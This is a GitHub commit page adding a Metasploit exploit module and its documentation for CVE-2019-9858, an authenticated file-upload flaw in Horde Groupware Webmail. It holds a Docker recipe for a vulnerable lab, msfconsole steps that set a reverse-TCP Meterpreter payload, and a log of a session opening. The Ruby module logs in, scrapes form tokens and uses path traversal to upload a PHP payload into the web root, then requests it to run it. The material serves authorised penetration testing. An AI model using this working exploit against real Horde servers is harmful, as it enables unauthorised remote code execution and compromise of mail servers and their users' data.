Skip to content
Permalink
Browse files

Land #11657, add Horde form file upload

  • Loading branch information...
space-r7 committed Apr 9, 2019
2 parents a5184d3 + 4018d47 commit 4d0a41ff1aac43af99c1abdc2e257e8778adf931
@@ -0,0 +1,101 @@
Horde Groupware Webmail is a popular open-source groupware platform written in PHP. A vulnerability allows an authenticated, unprivileged user to create a malicious PHP file under the web root and gain arbitrary code execution on the server.

## Vulnerable Application

The Horde subcomponent Horde Form < 2.0.19 is affected. This module was specifically tested against Horde Groupware Webmail Edition 5.2.22 and 5.2.17 with Horde Form 2.0.18 installed with PEAR on Debian.

### Docker install on Ubuntu 18.04

Please folow these steps to setup a vulnerable version of Horde in Docker on a Ubuntu.

1. Set up a [Ubuntu](http://www.ubuntu.com/) 18.04 box.
2. Open a terminal, and enter: ```sudo apt-get install docker.io```. Make sure Docker is properly configured and your current user has permession to use it.
3. Enter: ```mkdir horde_form_file_upload``` to create a folder.
4. Enter: ```cd horde_form_file_upload``` to enter that folder.
5. Create a ```Dockerfile``` in it with the following content.

```
FROM debian
RUN apt-get update
RUN apt-get install --yes --no-install-recommends \
apache2 \
ca-certificates \
dovecot-imapd \
libapache2-mod-php \
mysql-server \
php-mysqli \
php-pear \
rsyslog
RUN pear upgrade PEAR
RUN pear channel-discover pear.horde.org
RUN pear install horde/horde_role
RUN rm -r /var/www/html/ && mkdir /var/www/html/
RUN echo /var/www/html/ | pear run-scripts horde/Horde_Role
RUN pear install -a -B horde/webmail-5.2.22
# Uninstall end reinstall the vulnerable version
RUN pear uninstall -n horde/Horde_Form
RUN pear install -a -B horde/Horde_Form-2.0.18
RUN sed -i "/'secure' => 'tls',/d" /var/www/html/imp/config/backends.php
RUN chown -R www-data:www-data /var/www/html/
RUN useradd -m -G mail user && echo 'user:user' | chpasswd
RUN echo 'disable_plaintext_auth = no' | tee /etc/dovecot/conf.d/99-auth.conf
ENTRYPOINT \
/etc/init.d/mysql start && \
echo 'CREATE DATABASE IF NOT EXISTS horde;' | mysql && \
echo 'CREATE USER IF NOT EXISTS horde;' | mysql && \
echo 'GRANT ALL ON horde.* TO horde IDENTIFIED BY "horde";' | mysql && \
{ echo mysqli; sleep 0.3; \
echo horde; sleep 0.3; \
echo horde; sleep 0.3; \
echo tcp; sleep 0.3; \
echo localhost; sleep 0.3; \
echo; sleep 0.3; \
echo horde; sleep 0.3; \
echo; sleep 0.3; \
echo false; sleep 0.3; \
echo; sleep 0.3; \
echo 1; sleep 0.3; } | webmail-install && \
dovecot && \
/etc/init.d/apache2 start && \
tail -F /var/log/apache2/access.log /var/log/syslog
```

6. Enter: ```docker build . -t horde-img``` to build the Docker image.
7. Enter: ```docker run -p8888:80 --name horde-inst horde-img``` to run the Docker instance with the name ```horde-inst```.
8. Get the Docker host ip for reverse connection. In Linux, enter: ```ip -4 addr show docker0 | grep -Po 'inet \K[\d.]+'```.

## Verification Steps

After setting up Horde, you can use your exploit module:

1. Start msfconsole
2. Do: ```use exploit/multi/http/horde_form_file_upload```
3. Do: ```set RHOSTS 127.0.0.1```
4. Do: ```set RPORT 8888```
5. Do: ```set payload php/meterpreter/reverse_tcp```
6. Do: ```set LHOST [HOST IP]```
7. Do: ```set VHOST horde.lab```
8. Do: ```set USERNAME user ```
9. Do: ```set PASSWORD user```
10. Do: ```exploit```
11. And you should get a session

## Scenarios

### Horde Groupware Webmail Edition 5.2.22 with Horde Form 2.0.18 on a Debian stretch on Docker running on an Ubuntu 16.04

```
msf exploit(multi/http/horde_form_file_upload) > exploit
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Uploading payload to ../var/www/html/static/mxkyfrlztogn.php
[*] Sending stage (38247 bytes) to 172.17.0.3
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.3:47720) at 2019-03-29 15:27:53 +0000
meterpreter >
```
@@ -0,0 +1,153 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(
info,
'Name' => 'Horde Form File Upload Vulnerability',
'Description' => %q{
Horde Groupware Webmail contains a flaw that allows an authenticated remote
attacker to execute arbitrary PHP code. The exploitation requires the Turba
subcomponent to be installed.
This module was tested on Horde versions 5.2.22 and 5.2.17 running Horde Form subcomponent < 2.0.19.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ratiosec',
],
'References' =>
[
['CVE', '2019-9858'],
['URL', 'https://www.ratiosec.com/2019/horde-groupware-webmail-authenticated-arbitrary-file-injection-to-rce/'],
],
'DisclosureDate' => 'Mar 24 2019',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['Automatic', { }],
],
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate with']),
OptString.new('PASSWORD', [true, 'The password to authenticate with']),
OptString.new('WEB_ROOT', [true, 'Path to the web root', '/var/www/html'])
# Appears to be '/usr/share/horde/' if installed with apt
])
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end

def webroot
datastore['WEB_ROOT']
end

def horde_login(user, pass)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'login.php')
)

fail_with(Failure::Unreachable, 'No response received from the target.') unless res

session_cookie = res.get_cookies
vprint_status("Logging in...")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'login.php'),
'cookie' => session_cookie,
'vars_post' => {
'horde_user' => user,
'horde_pass' => pass,
'login_post' => '1'
}
)

return res.get_cookies if res && res.code == 302
[]
end

def get_tokens(cookie)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'turba', 'add.php'),
'cookie' => cookie
)

if res && res.code == 200
source_tokens = res.body.scan(/turba\/add\.php\?source=(.+)"/).flatten
unless source_tokens.empty?
form_tokens = res.body.scan(/name="turba_form_addcontact_formToken" value="(.+)"/).flatten
return source_tokens[0], form_tokens[0], res.get_cookies
end
end
nil
end

def exploit
vprint_status("Authenticating using #{username}:#{password}")

cookie = horde_login(username, password)
fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil? || cookie.empty?
vprint_good("Authenticated to Horde.")

tokens = get_tokens(cookie)
fail_with(Failure::Unknown, 'Error extracting tokens.') if tokens.nil?
source_token, form_token, secret_cookie = tokens

vprint_good("Tokens \"#{source_token}\", \"#{form_token}\", and cookie \"#{secret_cookie}\" found.")

payload_name = Rex::Text.rand_text_alpha_lower(10..12)
payload_path = File.join(webroot, "static", "#{payload_name}.php")
payload_path_traversal = File.join("..", payload_path)

data = Rex::MIME::Message.new
data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"object[photo][new]\"; filename=\"#{payload_name}.png\"")
data.add_part("turba_form_addcontact", nil, nil, 'form-data; name="formname"')
data.add_part(form_token, nil, nil, 'form-data; name="turba_form_addcontact_formToken"')
data.add_part(source_token, nil, nil, 'form-data; name="source"')
data.add_part(payload_path_traversal, nil, nil, 'form-data; name="object[photo][img][file]"')
post_data = data.to_s

print_status("Uploading payload to #{payload_path_traversal}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'turba', 'add.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie + ' ' + secret_cookie
)

fail_with(Failure::Unknown, "Unable to upload payload to #{payload_path_traversal}.") unless res && res.code == 200

payload_url = normalize_uri(target_uri, 'static', "#{payload_name}.php")

vprint_status("Executing the payload at #{payload_url}.")
res = send_request_cgi(
'uri' => payload_url,
'method' => 'GET',
)

register_files_for_cleanup(payload_path)
end
end

0 comments on commit 4d0a41f

Please sign in to comment.
You can’t perform that action at this time.